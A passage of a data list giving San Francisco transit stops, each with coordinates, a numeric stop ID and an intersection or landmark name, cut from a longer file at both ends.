['37.736736,-122.453794', '15452', 'Myra Way and Dalewood Way'], ['37.756098,-122.434625', '14321', 'Castro St and 21st St'], ['37.737816,-122.451491', '15453', 'Myra Way and Molimo Dr'], ['37.737727,-122.451732', '15454', 'Myra Way and Molimo Dr'], ['37.763926,-122.50957', '15329', 'Lincoln Way and La Playa St'], ['37.739244,-122.450357', '15455', 'Myra Way and Omar Way'], ['37.75443,-122.402462', '17221', 'KANSAS ST and 23RD ST'], ['37.763014,-122.446966', '17220', 'ASHBURY ST and CLAYTON ST'], ['37.796874,-122.43714', '17223', 'Union St and STEINER ST'], ['37.741015,-122.46611', '17222', 'Ulloa St and WEST PORTAL AVE'], ['37.721199,-122.475302', '17225', '19TH AVE and HOLLOWAY AVE'], ['37.794918,-122.423096', '17224', 'PACIFIC AVE and VAN NESS AVE'], ['37.794454,-122.394917', '17227', 'Market St and Steuart St'], ['37.721199,-122.47529', '17226', 'HOLLOWAY AVE and 19TH AVE'], ['37.801011,-122.419494', '15072', 'Hyde St and Greenwich St'], ['37.800993,-122.419322', '15073', 'Hyde St and Greenwich St'], ['37.800208,-122.419334', '15070', 'Hyde St and Filbert St'], ['37.779364,-122.415135', '15071', 'Hyde St and Fulton St'], ['37.794542,-122.418189', '15076', 'Hyde St and Jackson St'], ['37.801912,-122.419562', '15077', 'Hyde St and Lombard St'], ['37.798308,-122.418784', '15074', 'Hyde St and Green St'], ['37.798343,-122.418956', '15075', 'Hyde St and Green St'], ['37.72595,-122.47881', '13799', '170 Buckingham Way'], ['37.72597,-122.47714', '13798', '91 Buckingham Way'], ['37.761858,-122.415086', '14672', 'Folsom St and 18th St'], ['37.80487,-122.43363', '13795', 'Buchanan St and Beach St'], ['37.80343,-122.43334', '13794', 'Buchanan St and Bay St'], ['37.72598,-122.47686', '13797', '90 Buckingham Way'], ['37.80542,-122.4336', '13796', 'Fort Mason access road/Buchanan St'], ['37.70909,-122.40485', '13791', 'Bay Shore Blvd and Sunnydale Ave'], ['37.732999,-122.404812', '13790', 'Bay Shore Blvd and Silver Ave'], ['37.71062,-122.40389', '13793', 'Bay Shore Blvd and Visitacion Ave'], ['37.7129,-122.40102', '13792', 'Bay Shore Blvd and Tunnel Ave'], ['37.73241,-122.39135', '16248', 'Revere Ave and 3rd St'], ['37.7322,-122.39123', '16249', 'Revere Ave and 3rd St'], ['37.776261,-122.428274', '14983', 'Hayes St and Buchanan St'], ['37.77472,-122.439597', '14982', 'Hayes St and Broderick St'], ['37.774195,-122.444298', '14985', 'Hayes St and Central Ave'], ['37.776244,-122.427555', '14984', 'Hayes St and Buchanan St'], ['37.773605,-122.449166', '14987', 'Hayes St and Clayton St'], ['37.77409,-122.444515', '14986', 'Hayes St and Central Ave'], ['37.76536,-122.44102', '16240', 'Roosevelt Way and Museum Way'], ['37.773417,-122.449464', '14988', 'Hayes St and Clayton St'], ['37.71817,-122.43012', '16242', 'Russia Ave and Moscow St'], ['37.712451,-122.407389', '16243', 'Rutland St and Leland Ave'], ['37.709944,-122.408696', '16244', 'Rutland St and Sunnydale Ave'], ['37.74585,-122.49536', '16245', 'Rivera St and 37th Ave'], ['37.74543,-122.50504', '16246', 'Rivera St and 46th Ave'], ['37.74535,-122.5067', '16247', 'Rivera St and 48th Ave'], ['37.803691,-122.457766', '15380', 'Mason St (Presidio)/Presidio Bank'], ['37.779384,-122.42521', '15381', '785 Mcallister St'], ['37.77948,-122.42553', '15382', '808 McAllister St'], ['37.781077,-122.413083', '15383', 'Mcallister St and 7th St'], ['37.77744,-122.44152', '15384', 'Mcallister St and Baker St'], ['37.77731,-122.44185', '15385', 'Mcallister St and Baker St'], ['37.77764,-122.43991', '15386', 'Mcallister St and Broderick St'], ['37.77752,-122.44016', '15387', 'Mcallister St and Broderick St'], ['37.77694,-122.44476', '15388', 'Mcallister St and Central Ave'], ['37.77786,-122.43822', '15389', 'Mcallister St and Divisadero St'], ['37.74529,-122.45718', '14877', 'Laguna Honda Blvd and Balceta Ave'], ['37.76174,-122.476825', '15199', 'Judah St and 19th Ave'], ['37.79377,-122.40455', '14825', 'Kearny St and Sacramento St'], ['37.72792,-122.39328', '13152', '3rd St and Yosemite Ave'], ['37.7434,-122.4703', '13249', '14th Ave and Taraval St'], ['37.74503,-122.4703', '13248', '14th Ave and Santiago St'], ['37.776157,-122.402598', '17319', '6th St and Bryant St'], ['37.769134,-122.433076', '17318', 'Sunset Tunnel East Portal'], ['37.774038,-122.416891', '13243', '11th St and Mission St'], ['37.77457,-122.41732', '13242', '11th St and Mission St'], ['37.77283,-122.41538', '13241', '11th St and Howard St'], ['37.77333,-122.41573', '13240', '11th St and Howard St'], ['37.74887,-122.47074', '13247', '14th Ave and Quintara St'], ['37.82841,-122.371964', '13246', '13th St and Gateview Ave'], ['37.775368,-122.418575', '13245', '11th St and Market St'], ['37.7755,-122.41852', '13244', '11th St and Market St'], ['37.7383,-122.4363', '14392', 'Diamond St and Conrad St'], ['37.727258,-122.475098', '17448', '19th Ave and Winston Dr'], ['37.772889,-122.397866', '1824', 'REFERENCE and REFERENCE'], ['37.793731,-122.395685', '1827', 'MARKET ST and SPEAR ST'], ['37.739846,-122.391416', '15176', 'Jerrold Ave and Phelps St'], ['37.72312,-122.4106', '16976', 'Woolsey St and Dartmouth St'], ['37.72388,-122.40763', '16977', 'Woolsey St and Holyoke St'], ['37.78552,-122.438078', '16607', 'Sutter St and Scott St'], ['37.751119,-122.461346', '14878', 'Laguna Honda Blvd and Clarendon Ave'], ['37.775216,-122.419378', '17030', 'Market St and Van Ness Ave'], ['37.742854,-122.405051', '17031', 'Oakdale Ave and Bayshore Blvd'], ['37.742528,-122.404165', '17032', 'Oakdale Ave and Loomis St'], ['37.734495,-122.390278', '17033', 'Oakdale Ave and Mendell St'], ['37.83388,-122.49402', '15498', 'Mccullough Rd and Conzelman Rd'], ['37.83361,-122.49401', '15499', 'Mccullough Rd and Conzelman Rd'], ['37.723031,-122.452453', '17036', 'Ocean Ave and Geneva Ave'], ['37.761854,-122.446702', '13309', '17th St and Clayton St'], ['37.807604,-122.412248', '17038', 'Powell St and Beach St'], ['37.76176,-122.44768', '13307', '17th St and Belvedere St'], ['37.74698,-122.47391', '13304', '17th Ave and Rivera St'], ['37.746745,-122.473707', '13305', '17th Ave and Rivera St'], ['37.766039,-122.40469', '13302', '16th St and Vermont St'], ['37.76513,-122.4195', '13303', '16th St and Mission St'], ['37.764987,-122.421746', '13300', '16th St and Valencia St'], ['37.764849,-122.422056', '13301', '16th St and Valencia St'], ['37.7549,-122.46355', '15252', 'Laguna Honda Blvd and Noriega StE'], ['37.754652,-122.463798', '15253', '1798 Laguna Honda Blvd'], ['37.74415,-122.45663', '15250', 'Laguna Honda Blvd and Idora Ave'], ['37.74711,-122.45867', '15251', 'Hospital Entr Rd/Laguna Honda Blvd'], ['37.74602,-122.45816', '15256', 'Laguna Honda Blvd and Vasquez Ave'], ['37.755635,-122.383051', '1792', 'REFERENCE and REFERENCE'], ['37.755396,-122.386729', '1791', 'REFERENCE and REFERENCE'], ['37.755378,-122.386924', '1790', 'REFERENCE and REFERENCE'], ['37.80135,-122.43123', '15258', 'Laguna St and Chestnut St'], ['37.772933,-122.425465', '15259', 'Laguna St and Haight St'], ['37.741599,-122.43535', '14394', 'Diamond St and Diamond Heights Blvd'], ['37.791516,-122.421146', '16311', 'Sacramento St and Polk St'], ['37.77548,-122.39279', '13157', '4TH ST and BERRY ST'], ['37.749121,-122.444938', '13712', 'Burnett Ave and Crestline Dr'], ['37.78185,-122.48715', '14062', 'Clement St and 27th Ave'], ['37.71467,-122.40046', '16350', '3801 San Bruno Ave'], ['37.78189,-122.48903', '14063', 'Clement St and 29th Ave'], ['37.7496,-122.43383', '14329', 'Castro St and 25th St'], ['37.73822,-122.43726', '14395', 'Diamond St and Diamond Heights Blvd'], ['37.78197,-122.4845', '14060', 'Clement St and 25th Ave'], ['37.789454,-122.388776', '14974', 'Harrison St and The Embarcadero'], ['37.778305,-122.396602', '13156', '4th St and Brannan St'], ['37.78199,-122.48688', '14061', 'Clement St and 27th Ave'], ['37.72374,-122.40841', '16978', 'Woolsey St and Hamilton St'], ['37.720734,-122.481234', '17788', 'Font Blvd and Tapia Dr NS/W/SB'], ['37.719592,-122.479905', '17789', 'Font Blvd and Serrano Dr NS/W-SB'], ['37.800345,-122.453409', '17786', 'Presidio YMCA Center N-MB/SB'], ['37.800861,-122.42768', '17787', 'Lombard St&Gough St SE-FS/BZ'], ['37.800711,-122.454028', '17784', 'Lincoln Blvd&Girard Rd NW-FS/SB'], ['37.72362,-122.40864', '16979', 'Woolsey St and Hamilton St'], ['37.722377,-122.395633', '17782', '3rd St and Gilman Ave'], ['37.799123,-122.452423', '17783', 'PresidioBlvd&Letterman Dr.SE-NS/SB'], ['37.723557,-122.400809', '17780', 'Bayshore St and Paul Ave'], ['37.721129,-122.398428', '17781', 'Salinas Ave and Gould St'], ['37.727739,-122.40324', '13018', 'Bacon St and San Bruno Ave'], ['37.7285,-122.38469', '16250', 'Revere Ave and Ingalls St'], ['37.773168,-122.39784', '17148', 'King St and 6th St'], ['37.798052,-122.45013', '17149', 'LETTERMAN DR and LOMBARD ST'], ['37.789067,-122.401306', '13012', '2nd St and Market St'], ['37.784627,-122.387977', '17145', 'The Embarcadero and Brannan St'], ['37.78957,-122.388489', '17146', 'The Embarcadero and Folsom St'], ['37.786559,-122.398109', '13011', '2nd St and Howard St'], ['37.772618,-122.389786', '13016', '3rd St and 4th St'], ['37.74641,-122.40369', '17141', 'Bay Shore Blvd and Jerrold Ave'], ['37.790439,-122.42202', '17142', 'California St and Van Ness Ave'], ['37.7829,-122.46687', '17143', 'Clement St and 8th Ave'], ['37.79895,-122.420527', '16767', 'Union St and Larkin St'], ['37.773866,-122.408513', '14972', 'Harrison St and 8th St'], ['37.799066,-122.420607', '16766', 'Union St and Larkin St'], ['37.794221,-122.393736', '11005', 'MUNI METRO TNL and DRUMM ST'], ['37.772403,-122.410371', '14973', 'Harrison St and 9th St'], ['37.800758,-122.406102', '16765', 'Union St and Kearny St'], ['37.734966,-122.416725', '14189', 'Crescent Ave and Andover St'], ['37.735074,-122.421822', '14188', 'Crescent Ave and Agnon Ave'], ['37.800909,-122.405965', '16764', 'Union St and Kearny St'], ['37.74192,-122.435476', '14397', 'Diamond St and Diamond Heights Blvd'], ['37.752869,-122.443815', '14181', 'Corbett Ave and Hopkins Ave'], ['37.76161,-122.44112', '14180', 'Corbett Ave and Hattie St'], ['37.760542,-122.44425', '14183', 'Corbett Ave and Mars St'], ['37.757794,-122.444754', '14182', 'Corbett Ave and Iron Aly'], ['37.761898,-122.440216', '14185', 'Corbett Ave and Ord St'], ['37.76048,-122.444479', '14184', 'Corbett Ave and Mars St'], ['37.755349,-122.44283', '14187', 'Corbett Ave and Romain St'], ['37.79969,-122.415665', '16762', 'Union St and Jones St'], ['37.757026,-122.49539', '16536', 'Sunset Blvd and Lawton St'], ['37.755402,-122.495458', '16537', 'Sunset Blvd and Moraga St'], ['37.729804,-122.493655', '16534', 'Sunset Blvd and Lake Merced Blvd'], ['37.757267,-122.495585', '16535', 'Sunset Blvd and Lawton St'], ['37.758891,-122.495518', '16532', 'Sunset Blvd and Kirkham St'], ['37.73034,-122.493518', '16533', 'Sunset Blvd and Lake Merced Blvd'], ['37.760765,-122.495656', '16530', 'Sunset Blvd and Judah St'], ['37.759132,-122.495713', '16531', 'Sunset Blvd and Kirkham St'], ['37.792608,-122.397532', '14347', 'Davis St and Pine St'], ['37.79363,-122.3977', '14346', 'Davis St and California St'], ['37.793473,-122.396178', '15669', 'Market St and Drumm St'], ['37.76888,-122.427103', '15668', 'Market St and Dolores St'], ['37.75374,-122.39565', '14343', '101 Dakota St'], ['37.75376,-122.39576', '14342', '14 Dakota St'], ['37.705764,-122.469273', '14341', 'Daly City Bart Station'], ['37.753538,-122.495319', '16539', 'Sunset Blvd and Noriega St'], ['37.73066,-122.42927', '15624', 'Mission St and Trumbull St'], ['37.774907,-122.45312', '17499', 'Fulton Street and Shrader Street'], ['37.78563,-122.396723', '17496', 'Second Street and Folsom Street'], ['37.780705,-122.472802', '17495', '14th Avenue and Geary Boulevard'], ['37.78175,-122.48929', '14064', 'Clement St and 29th Ave'], ['37.78499,-122.44827', '14464', 'Euclid Ave and Masonic Ave'], ['37.791133,-122.415749', '13878', 'California St and Leavenworth St'], ['37.786248,-122.455207', '13879', 'California St and Maple St'], ['37.780309,-122.412395', '13196', '7th St and Market St'], ['37.791347,-122.414098', '13870', 'California St and Jones St'], ['37.792718,-122.404273', '13871', 'California St and Kearny St'], ['37.792593,-122.40425', '13872', 'California St and Kearny St'], ['37.790866,-122.41889', '13873', 'California St and Larkin St'], ['37.7907,-122.41916', '13874', 'California St and Larkin St'], ['37.786923,-122.449957', '13875', 'California St and Laurel St'], ['37.786712,-122.45026', '13876', 'California St and Laurel St'], ['37.791285,-122.415611', '13877', 'California St and Leavenworth St'], ['37.78181,-122.49061', '14065', 'Clement St and 30th Ave'], ['37.752757,-122.414024', '14677', 'Folsom St and 24th St'], ['37.728561,-122.426085', '16402', 'Silver Ave and Congdon St'], ['37.72857,-122.42812', '16403', 'Silver Ave and Craut St'], ['37.793242,-122.397657', '17564', 'Davis St and California St'], ['37.728713,-122.425868', '16401', 'Silver Ave and Congdon St'], ['37.79266,-122.394001', '17562', 'Mission St and Spear St'], ['37.781166,-122.412189', '17563', 'McAllister St and Jones St'], ['37.824056,-122.372714', '17560', '9th St and Avenue D'], ['37.729843,-122.413611', '16405', 'Silver Ave and Dartmouth St'], ['37.77173,-122.44573', '15717', 'Masonic Ave and Oak St'], ['37.771963,-122.445625', '15716', 'Masonic Ave and Oak St'], ['37.730967,-122.410197', '16408', 'Silver Ave and Holyoke St'], ['37.734167,-122.402566', '16409', 'Silver Ave and Ledyard St'], ['37.770348,-122.445304', '15713', 'Masonic Ave and Haight St'], ['37.77031,-122.44542', '15712', 'Masonic Ave and Haight St'], ['37.801907,-122.443331', '17568', 'Divisadero St and Bay St'], ['37.782144,-122.447573', '15710', 'Masonic Ave and Geary Blvd'], ['37.766765,-122.390719', '17764', '16th St and 4th St'], ['37.771164,-122.389616', '17765', 'Mission Bay North and 3rd St'], ['37.770513,-122.391037', '17766', 'Mission Bay South and 4th St SE-FS/ BZ'], ['37.77306,-122.452513', '17561', 'Hayes St and Shrader St'], ['37.731668,-122.399464', '17760', 'Thornton Dr&Scotia Ave'], ['37.766012,-122.402592', '17761', '16th St& Rhode Island St'], ['37.766225,-122.399681', '17762', '16th St and Wisconsin St'], ['37.766402,-122.396782', '17763', '16th St and Missouri St'], ['37.766492,-122.397011', '17768', '16th Street and Missouri St'], ['37.766287,-122.399842', '17769', '16th Street and Wisconsin St'], ['37.818326,-122.370139', '13904', 'California St and Avenue C'], ['37.818504,-122.369531', '13905', 'California St and Avenue D'], ['37.81992,-122.36613', '13906', 'California St and Avenue H'], ['37.820749,-122.364196', '13907', 'California Ave and Avenue M'], ['37.792184,-122.407529', '13900', 'California St and Stockton St'], ['37.791712,-122.412321', '13901', 'California St and Taylor St'], ['37.791543,-122.412608', '13902', 'California St and Taylor St'], ['37.79037,-122.42233', '13903', 'California St and Van Ness Ave'], ['37.71904,-122.47538', '13908', 'Cardenas Ave and Gonzalez Dr'], ['37.765863,-122.449804', '13909', 'Carl St and Cole St'], ['37.783624,-122.437669', '14761', 'Geary Blvd and Scott St'], ['37.783847,-122.437761', '14760', 'Geary Blvd and Scott St'], ['37.797513,-122.432585', '16747', 'Union St and Buchanan St'], ['37.781849,-122.453075', '14762', 'Geary Blvd and Spruce St'], ['37.741464,-122.465411', '16741', 'West Portal Station'], ['37.740947,-122.465754', '16740', 'West Portal Station'], ['37.740795,-122.465777', '16743', 'West Portal Station'], ['37.740884,-122.465938', '16742', 'West Portal Station'], ['37.784641,-122.431021', '14769', 'Geary Blvd and Webster St'], ['37.785843,-122.420635', '14768', 'Geary Blvd and Van Ness Ave'], ['37.80038,-122.41004', '16749', 'Union St and Columbus Ave'], ['37.797427,-122.432302', '16748', 'Union St and Buchanan St'], ['37.754118,-122.443013', '14167', '795 Corbett Ave'], ['37.757499,-122.444147', '14166', '539 Corbett Ave'], ['37.759908,-122.445075', '14165', '341 Corbett Ave'], ['37.759926,-122.445327', '14164', '320 Corbett Ave'], ['37.761648,-122.442944', '14163', '211 Corbett Ave'], ['37.7618,-122.442841', '14162', '210 Corbett Ave'], ['37.7402,-122.42093', '14161', 'Cortland Ave and Prospect Ave'], ['37.740294,-122.420904', '14160', 'Cortland Ave and Prospect Ave'], ['37.736108,-122.504141', '13604', '46th Ave and Wawona St'], ['37.752083,-122.443414', '14169', '925 Corbett Ave'], ['37.75399,-122.443', '14168', '800 Corbett Ave'], ['37.727199,-122.46648', '15809', 'Ocean Ave and Westgate Dr'], ['37.726029,-122.464337', '15808', 'Ocean Ave and Victoria St'], ['37.722857,-122.444971', '15803', 'Ocean Ave and San Jose Ave'], ['37.723085,-122.45243', '15802', 'Ocean Ave and Phelan Ave'], ['37.72382,-122.43589', '15801', 'Ocean Ave and Persia Ave'], ['37.72326,-122.44124', '15800', 'Ocean Ave and Otsego Ave'], ['37.729945,-122.469475', '15807', 'Ocean Ave and San Leandro Way'], ['37.729989,-122.469097', '15806', 'Ocean Ave and San Leandro Way'], ['37.7229,-122.4444', '15805', 'Ocean Ave and San Jose St'], ['37.72302,-122.44512', '15804', 'Ocean Ave and San Jose Ave'], ['37.752587,-122.411744', '13474', '24th St and Harrison St'], ['37.797055,-122.405669', '1202', 'COLUMBUS AVE and Pacific Ave'], ['37.750977,-122.440504', '13475', '24th St and Hoffman Ave'], ['37.775898,-122.494577', '13060', 'Balboa St and 35th Ave'], ['37.755955,-122.434465', '14320', 'Castro St and 21st St'], ['37.77747,-122.45886', '13067', 'Balboa St and Arguello Blvd'], ['37.73684,-122.394099', '15937', 'Phelps St and Oakdale Ave'], ['37.737866,-122.392964', '15936', 'Phelps St and Mckinnon Ave'], ['37.73808,-122.392987', '15935', 'Phelps St and Mckinnon Ave'], ['37.739757,-122.391267', '15934', 'Phelps St and Jerrold Ave'], ['37.72808,-122.40193', '15933', 'Phelps St and Egbert Ave'], ['37.72847,-122.40144', '15932', 'Phelps St and Donner Ave'], ['37.72912,-122.40101', '15931', 'Phelps St and Carroll Ave'], ['37.7291,-122.40088', '15930', 'Phelps St and Carroll Ave'], ['37.76035,-122.505843', '13577', '46th Ave and Judah St'], ['37.736216,-122.394672', '15939', 'Phelps St and Palou Ave'], ['37.736635,-122.394088', '15938', 'Phelps St and Oakdale Ave'], ['37.791438,-122.422455', '17816', 'Van Ness Ave and Sacramento St'], ['37.785603,-122.42146', '17817', 'Van Ness Ave and Geary Blvd'], ['37.712332,-122.466893', '17814', 'Brotherhood Way and Arch ST'], ['37.733702,-122.496578', '17815', 'Skyline Blvd and Sloat Blvd'], ['37.787367,-122.485356', '13498', '25th Ave and El Camino Del Mar'], ['37.772689,-122.484295', '13499', '25th Ave and Fulton St'], ['37.781951,-122.484712', '13496', '25th Ave and Clement St'], ['37.787536,-122.485139', '13497', '25th Ave and El Camino Del Mar'], ['37.774322,-122.484227', '13494', '25th Ave and Cabrillo St'], ['37.782147,-122.484975', '13495', '25th Ave and Clement St'], ['37.783807,-122.48485', '13492', '25th Ave and California St'], ['37.774554,-122.484422', '13493', '25th Ave and Cabrillo St'], ['37.776187,-122.484365', '13490', '25th Ave and Balboa St'], ['37.784003,-122.485102', '13491', '25th Ave and California St'], ['37.72475,-122.43059', '14571', 'Excelsior Ave and Madrid St'], ['37.726162,-122.433577', '14572', 'Excelsior Ave and Mission St'], ['37.72399,-122.42899', '14573', 'Excelsior Ave and Naples St'], ['37.72552,-122.43219', '14574', 'Excelsior Ave and Paris St'], ['37.709804,-122.392836', '14575', '50 THOMAS MELLON DR'], ['37.71088,-122.39476', '14576', 'Executive Park Blvd and Blanken Ave'], ['37.74809,-122.45904', '14577', 'Forest Hill Station'], ['37.73817,-122.38179', '14578', 'Fairfax Ave and Keith St'], ['37.738333,-122.434067', '14579', 'Farnum St and Moffitt St'], ['37.764281,-122.445946', '13656', 'Ashbury St and Clifford Ter'], ['37.764298,-122.446095', '13657', 'Ashbury St and Clifford Ter'], ['37.781081,-122.45876', '13650', 'Arguello Blvd and Geary Blvd'], ['37.777477,-122.458519', '13651', 'Arguello Blvd and Turk St'], ['37.75745,-122.39804', '13652', 'Arkansas St and 22nd St'], ['37.75597,-122.39789', '13653', 'Arkansas St and Madera St'], ['37.775484,-122.50362', '13065', 'Balboa St and 43rd Ave'], ['37.7099,-122.408536', '17044', 'Rutland St and Sunnydale Ave'], ['37.74101,-122.42267', '14156', 'Cortland Ave and Mission St'], ['37.77263,-122.425396', '17455', 'Laguna St and Haight St'], ['37.788404,-122.421837', '17811', 'Bush St &Van ness Ave'], ['37.71448,-122.44264', '15575', 'Mission St and Allison St'], ['37.780724,-122.43736', '14492', 'Eddy St and Scott St'], ['37.79111,-122.41747', '15065', 'Hyde St and California St'], ['37.806427,-122.420432', '15064', 'Hyde St and Beach St'], ['37.802912,-122.419883', '15067', 'Hyde St and Chestnut St'], ['37.80284,-122.4197', '15066', 'Hyde St and Chestnut St'], ['37.796496,-122.418578', '15061', 'Hyde St and Broadway'], ['37.804777,-122.420261', '15060', 'Hyde St and Bay St'], ['37.773738,-122.46386', '17262', '6th Ave and Fulton'], ['37.796345,-122.418395', '15062', 'Hyde St and Broadway'], ['37.70866,-122.42176', '14880', 'Geneva Ave and Esquina Dr'], ['37.722121,-122.449979', '14881', 'Geneva Ave and Howth St'], ['37.721978,-122.45007', '14882', 'Geneva Ave and Howth St'], ['37.714768,-122.437587', '14883', 'Geneva Ave and Madrid St'], ['37.800173,-122.419162', '15069', 'Hyde St and Filbert St'], ['37.79287,-122.41784', '15068', 'Hyde St and Clay St'], ['37.716473,-122.440874', '14886', 'Geneva Ave and Mission St'], ['37.716509,-122.441172', '14887', 'Geneva Ave and Mission St'], ['37.71236,-122.40258', '11070', 'SAN BRUNO AVE and BAYSHORE BLVD'], ['37.786283,-122.439996', '14408', 'Divisadero St and Bush St'], ['37.788184,-122.440385', '14409', 'Divisadero St and California St'], ['37.737342,-122.434617', '14404', 'Diamond St and Sussex St'], ['37.73731,-122.43475', '14405', 'Diamond St and Sussex St'], ['37.801907,-122.443319', '14406', 'Divisadero St and Bay St'], ['37.803772,-122.443697', '14407', 'Divisadero St and Beach St'], ['37.7388,-122.43463', '14400', 'Diamond St and Moffitt St'], ['37.73889,-122.4346', '14401', 'Diamond St and Moffitt St'], ['37.73623,-122.43444', '14402', 'Diamond St and Surrey St'], ['37.73608,-122.43433', '14403', 'Diamond St and Surrey St'], ['37.71407,-122.45208', '16259', 'San Jose Ave and Farallones St'], ['37.713952,-122.452279', '16258', 'San Jose Ave and Farallones St'], ['37.773737,-122.447314', '14978', 'Hayes St and Ashbury St'], ['37.774573,-122.441501', '14979', 'Hayes St and Baker St'], ['37.73165,-122.39004', '16253', 'Revere Ave and Lane St'], ['37.72956,-122.38656', '16252', 'Revere Ave and Jennings St'], ['37.72953,-122.3863', '16251', 'Revere Ave and Jennings St'], ['37.7738,-122.447567', '14977', 'Hayes St and Ashbury St'], ['37.714153,-122.452148', '16257', 'San Jose Ave and Farallones St'], ['37.7133,-122.45315', '16256', 'San Jose Ave and Broad St'], ['37.71331,-122.45344', '16255', 'San Jose Ave and Broad St'], ['37.73169,-122.39029', '16254', 'Revere Ave and Lane St'], ['37.77969,-122.42386', '15393', 'Mcallister St and Gough St'], ['37.77862,-122.4314', '15392', 'Mcallister St and Fillmore St'], ['37.77864,-122.43207', '15391', 'Mcallister St and Fillmore St'], ['37.77773,-122.43851', '15390', 'Mcallister St and Divisadero St'], ['37.78051,-122.41741', '15397', 'Mcallister St and Larkin St'], ['37.78061,-122.41587', '15396', 'Mcallister St and Hyde St'], ['37.78073,-122.41569', '15395', 'Mcallister St and Hyde St'], ['37.77961,-122.42369', '15394', 'Mcallister St and Gough St'], ['37.77919,-122.42695', '15399', 'Mcallister St and Laguna St'], ['37.77933,-122.42671', '15398', 'Mcallister St and Laguna St'], ['37.7512,-122.43401', '14326', 'Castro St and 24th St'], ['37.7563,-122.47361', '13276', '16th Ave and Moraga St'], ['37.75636,-122.47368', '13277', '16th Ave and Moraga St'], ['37.75697,-122.47351', '13275', '16th Ave and Lomita Ave'], ['37.75811,-122.47367', '13272', '16th Ave and Lawton St'], ['37.7593,-122.4737', '13273', '16th Ave and Lawton St'], ['37.736387,-122.470381', '13270', '15th Ave and West Portal Ave'], ['37.76668,-122.42016', '13271', '15th St and Mission St'], ['37.75425,-122.47321', '13278', '16th Ave and Noriega St'], ['37.7524,-122.47309', '13279', '16th Ave and Ortega St'], ['37.782101,-122.40711', '17368', 'Mission St and Mary St'], ['37.732894,-122.389027', '17369', 'Lane St and Palou Ave'], ['37.752321,-122.418333', '13476', '24th St and Mission St'], ['37.752178,-122.41855', '13477', '24th St and Mission St'], ['37.752462,-122.413933', '13470', '24th St and Folsom St'], ['37.752045,-122.422767', '13471', '24th St and Guerrero St'], ['37.751911,-122.422985', '13472', '24th St and Guerrero St'], ['37.752694,-122.412054', '13473', '24th St and Harrison St'], ['37.76854,-122.389274', '17360', 'UCSF/Mission Bay'], ['37.764239,-122.388865', '17361', 'Third Street and Mariposa St'], ['37.760376,-122.388558', '17362', 'Third Street and 20th St'], ['37.75529,-122.388012', '17363', 'Third Street and 23rd St'], ['37.751511,-122.431773', '13478', '24th St and Noe St'], ['37.742727,-122.388034', '17365', 'Third Street and Evans Ave'], ['37.776153,-122.393944', '17366', '4TH ST and BERRY ST'], ['37.73462,-122.47187', '17367', 'Sloat Blvd and West Portal Ave'], ['37.719737,-122.469735', '14248', 'Garfield St and Byxbee St'], ['37.736692,-122.453943', '1493', 'MYRA WAY and DALEWOOD'], ['37.790896,-122.399138', '15638', 'Market St and 1st St'], ['37.786034,-122.401606', '17456', '3rd St and Minna St'], ['37.76932,-122.42903', '17074', 'Church St and Duboce Ave'], ['37.766019,-122.466333', '17457', 'LINCOLN&9AV(NEW STOP)'], ['37.790902,-122.417537', '13868', 'California St and Hyde St'], ['37.734469,-122.433953', '14389', 'Diamond St and Chenery St'], ['37.764991,-122.399982', '13319', '17th St and Wisconsin St'], ['37.762645,-122.432991', '13318', '17th St and Noe St'], ['37.71777,-122.40745', '17021', 'Delta St and Wilde Ave'], ['37.73446,-122.433839', '14388', 'Diamond St and Chenery St'], ['37.800533,-122.453936', '17027', 'Lincoln Blvd and Girard Rd'], ['37.713301,-122.415486', '17026', 'Hahn St and Visitacion Ave'], ['37.733196,-122.385052', '15489', 'Newcomb Ave and La Salle Ave'], ['37.733044,-122.384858', '15488', 'Newcomb Ave and La Salle Ave'], ['37.733,-122.386049', '15487', 'Newcomb Ave and Keith St'], ['37.733152,-122.38598', '15486', 'Newcomb Ave and Keith St'], ['37.711672,-122.437897', '15485', 'Naples St and Seville St'], ['37.798668,-122.445108', '17028', 'Lombard and Richardson Ave'], ['37.764808,-122.403659', '13315', '17th St and Kansas St'], ['37.762415,-122.437489', '13314', '17th St and Diamond St'], ['37.764817,-122.403476', '13317', '17th St and Kansas St'], ['37.714153,-122.436397', '15480', 'Naples St and Geneva Ave'], ['37.73327,-122.41526', '17023', '831 Ellsworth St'], ['37.743999,-122.456407', '15249', 'Laguna Honda Blvd and Idora Ave'], ['37.792712,-122.391467', '15629', 'Tunnel entry-not a stop-use Folsom Stn'], ['37.795033,-122.393563', '17022', 'The Embarcadero and Folsom St'], ['37.748327,-122.458836', '15245', 'Laguna Honda Blvd/opp Forest Hill'], ['37.747256,-122.459042', '15244', 'Laguna Honda Blvd and Dewey Blvd'], ['37.748157,-122.458939', '15247', 'Laguna Honda Blvd/Forest Hill Sta'], ['37.71022,-122.44845', '15628', 'Mission St and Whittier St'], ['37.773121,-122.397809', '15241', 'King St and 6th St'], ['37.755387,-122.386786', '1789', 'REFERENCE and REFERENCE'], ['37.75095,-122.461048', '15243', 'Laguna Honda Blvd and Clarendon Ave'], ['37.73108,-122.37939', '15242', 'Kiska Rd and Ingalls St'], ['37.71048,-122.44834', '15627', 'Mission St and Whittier St'], ['37.7493,-122.44508', '17020', 'Crestline Dr and Burnett Ave'], ['37.74508,-122.4203', '15626', 'Mission St and Valencia St'], ['37.78386,-122.45696', '14463', 'Euclid Ave and Jordan Ave'], ['37.74308,-122.435487', '14381', 'Diamond St and 29th St'], ['37.806788,-122.406198', '17076', 'The Embarcadero and Bay St'], ['37.71167,-122.41495', '16579', 'Sunnydale Ave and Sawyer St'], ['37.76735,-122.444823', '17025', 'Frederick St and Masonic St'], ['37.79239,-122.39435', '15623', 'Mission St and Spear St'], ['37.774984,-122.419298', '17818', 'South Van Ness Ave and Market St'], ['37.78574,-122.39652', '17024', 'Folsom St and 2nd St'], ['37.773324,-122.418599', '15622', 'South Van Ness Ave and Mission St'], ['37.783291,-122.393778', '13005', '2nd St and Bryant St'], ['37.76252,-122.434866', '13311', '17th St and Castro St'], ['37.7855,-122.39653', '13007', '2nd St and Folsom St'], ['37.782845,-122.393469', '13006', '2nd St and Bryant St'], ['37.78853,-122.396044', '13001', '1st St and Howard St'], ['37.728696,-122.431412', '15621', 'Mission St and Silver Ave'], ['37.781827,-122.391945', '13003', '2nd St and Brannan St'], ['37.76168,-122.44898', '13310', '17th St and Cole St'], ['37.715016,-122.473089', '17791', 'Font Blvd and Chumasero Dr W-NS/SB'], ['37.718477,-122.478691', '17790', 'Font Blvd and Juan Bautisa Cir.'], ['37.713758,-122.474566', '17793', 'Brotherhood Way and Summit Way NW-FS/sb'], ['37.823521,-122.373907', '17590', '9th St. and Avenue D'], 